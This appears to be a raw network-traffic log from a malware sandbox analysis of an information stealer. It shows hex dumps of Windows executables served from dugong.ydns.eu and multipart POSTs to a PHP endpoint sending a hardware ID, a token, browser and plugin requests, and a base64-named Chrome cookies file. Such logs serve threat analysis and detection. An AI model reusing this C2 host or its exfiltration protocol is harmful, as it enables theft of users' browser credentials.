Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: openrestyDate: Thu, 06 Mar 2025 15:21:58 GMTContent-Type: application/x-msdos-programContent-Length: 608080Connection: keep-aliveUpgrade: h2,h2cLast-Modified: Thu, 05 Dec 2024 18:34:46 GMTETag: "94750-6288a270e7691"Accept-Ranges: bytesX-Served-By: dugong.ydns.euData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: openrestyDate: Thu, 06 Mar 2025 15:21:59 GMTContent-Type: application/x-msdos-programContent-Length: 450024Connection: keep-aliveUpgrade: h2,h2cLast-Modified: Thu, 05 Dec 2024 18:34:46 GMTETag: "6dde8-6288a270f12d2"Accept-Ranges: bytesX-Served-By: dugong.ydns.euData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: openrestyDate: Thu, 06 Mar 2025 15:21:59 GMTContent-Type: application/x-msdos-programContent-Length: 2046288Connection: keep-aliveUpgrade: h2,h2cLast-Modified: Thu, 05 Dec 2024 18:34:46 GMTETag: "1f3950-6288a27148177"Accept-Ranges: bytesX-Served-By: dugong.ydns.euData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: openrestyDate: Thu, 06 Mar 2025 15:22:01 GMTContent-Type: application/x-msdos-programContent-Length: 257872Connection: keep-aliveUpgrade: h2,h2cLast-Modified: Thu, 05 Dec 2024 18:34:46 GMTETag: "3ef50-6288a27148177"Accept-Ranges: bytesX-Served-By: dugong.ydns.euData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: openrestyDate: Thu, 06 Mar 2025 15:22:02 GMTContent-Type: application/x-msdos-programContent-Length: 80880Connection: keep-aliveUpgrade: h2,h2cLast-Modified: Thu, 05 Dec 2024 18:34:46 GMTETag: "13bf0-6288a2718985b"Accept-Ranges: bytesX-Served-By: dugong.ydns.euData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: dugong.ydns.euConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST //gtthfbsb2h.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DBGIJEHIIDGCFHIEGDGCHost: dugong.ydns.euContent-Length: 213Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 42 47 49 4a 45 48 49 49 44 47 43 46 48 49 45 47 44 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 38 34 34 36 37 45 35 44 30 38 36 33 35 37 36 38 35 30 37 39 38 0d 0a 2d 2d 2d 2d 2d 2d 44 42 47 49 4a 45 48 49 49 44 47 43 46 48 49 45 47 44 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 72 61 66 66 31 0d 0a 2d 2d 2d 2d 2d 2d 44 42 47 49 4a 45 48 49 49 44 47 43 46 48 49 45 47 44 47 43 2d 2d 0d 0a Data Ascii: ------DBGIJEHIIDGCFHIEGDGCContent-Disposition: form-data; name="hwid"284467E5D0863576850798------DBGIJEHIIDGCFHIEGDGCContent-Disposition: form-data; name="build"traff1------DBGIJEHIIDGCFHIEGDGC--
Source: global traffic	HTTP traffic detected: POST //gtthfbsb2h.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DHDHJJJECFIECBGDGCAAHost: dugong.ydns.euContent-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 48 44 48 4a 4a 4a 45 43 46 49 45 43 42 47 44 47 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 38 61 37 61 66 64 38 33 35 35 66 33 34 63 66 30 39 30 34 30 36 33 35 35 37 61 32 64 62 32 30 66 30 62 36 33 33 64 31 66 63 32 62 62 33 64 66 38 33 39 62 34 39 63 38 39 61 66 31 64 38 62 61 62 62 38 39 38 31 32 61 0d 0a 2d 2d 2d 2d 2d 2d 44 48 44 48 4a 4a 4a 45 43 46 49 45 43 42 47 44 47 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 44 48 44 48 4a 4a 4a 45 43 46 49 45 43 42 47 44 47 43 41 41 2d 2d 0d 0a Data Ascii: ------DHDHJJJECFIECBGDGCAAContent-Disposition: form-data; name="token"38a7afd8355f34cf0904063557a2db20f0b633d1fc2bb3df839b49c89af1d8babb89812a------DHDHJJJECFIECBGDGCAAContent-Disposition: form-data; name="message"browsers------DHDHJJJECFIECBGDGCAA--
Source: global traffic	HTTP traffic detected: POST //gtthfbsb2h.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BGIJJKKJJDAAAAAKFHJJHost: dugong.ydns.euContent-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 47 49 4a 4a 4b 4b 4a 4a 44 41 41 41 41 41 4b 46 48 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 38 61 37 61 66 64 38 33 35 35 66 33 34 63 66 30 39 30 34 30 36 33 35 35 37 61 32 64 62 32 30 66 30 62 36 33 33 64 31 66 63 32 62 62 33 64 66 38 33 39 62 34 39 63 38 39 61 66 31 64 38 62 61 62 62 38 39 38 31 32 61 0d 0a 2d 2d 2d 2d 2d 2d 42 47 49 4a 4a 4b 4b 4a 4a 44 41 41 41 41 41 4b 46 48 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 42 47 49 4a 4a 4b 4b 4a 4a 44 41 41 41 41 41 4b 46 48 4a 4a 2d 2d 0d 0a Data Ascii: ------BGIJJKKJJDAAAAAKFHJJContent-Disposition: form-data; name="token"38a7afd8355f34cf0904063557a2db20f0b633d1fc2bb3df839b49c89af1d8babb89812a------BGIJJKKJJDAAAAAKFHJJContent-Disposition: form-data; name="message"plugins------BGIJJKKJJDAAAAAKFHJJ--
Source: global traffic	HTTP traffic detected: POST //gtthfbsb2h.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JEGHJDGIJECGDHJJECGHHost: dugong.ydns.euContent-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 45 47 48 4a 44 47 49 4a 45 43 47 44 48 4a 4a 45 43 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 38 61 37 61 66 64 38 33 35 35 66 33 34 63 66 30 39 30 34 30 36 33 35 35 37 61 32 64 62 32 30 66 30 62 36 33 33 64 31 66 63 32 62 62 33 64 66 38 33 39 62 34 39 63 38 39 61 66 31 64 38 62 61 62 62 38 39 38 31 32 61 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 47 48 4a 44 47 49 4a 45 43 47 44 48 4a 4a 45 43 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 47 48 4a 44 47 49 4a 45 43 47 44 48 4a 4a 45 43 47 48 2d 2d 0d 0a Data Ascii: ------JEGHJDGIJECGDHJJECGHContent-Disposition: form-data; name="token"38a7afd8355f34cf0904063557a2db20f0b633d1fc2bb3df839b49c89af1d8babb89812a------JEGHJDGIJECGDHJJECGHContent-Disposition: form-data; name="message"fplugins------JEGHJDGIJECGDHJJECGH--
Source: global traffic	HTTP traffic detected: POST //gtthfbsb2h.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BFIDGDAKFHIEHJKFHDHDHost: dugong.ydns.euContent-Length: 6043Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET //kj2h34kj23h4/sqlite3.dll HTTP/1.1Host: dugong.ydns.euCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST //gtthfbsb2h.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CAKKEGDGCGDAKEBFIJECHost: dugong.ydns.euContent-Length: 419Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 41 4b 4b 45 47 44 47 43 47 44 41 4b 45 42 46 49 4a 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 38 61 37 61 66 64 38 33 35 35 66 33 34 63 66 30 39 30 34 30 36 33 35 35 37 61 32 64 62 32 30 66 30 62 36 33 33 64 31 66 63 32 62 62 33 64 66 38 33 39 62 34 39 63 38 39 61 66 31 64 38 62 61 62 62 38 39 38 31 32 61 0d 0a 2d 2d 2d 2d 2d 2d 43 41 4b 4b 45 47 44 47 43 47 44 41 4b 45 42 46 49 4a 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 79 35 30 65 48 51 3d 0d 0a 2d 2d 2d 2d 2d 2d 43 41 4b 4b 45 47 44 47 43 47 44 41 4b 45 42 46 49 4a 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 65 79 4a 70 5a 43 49 36 4d 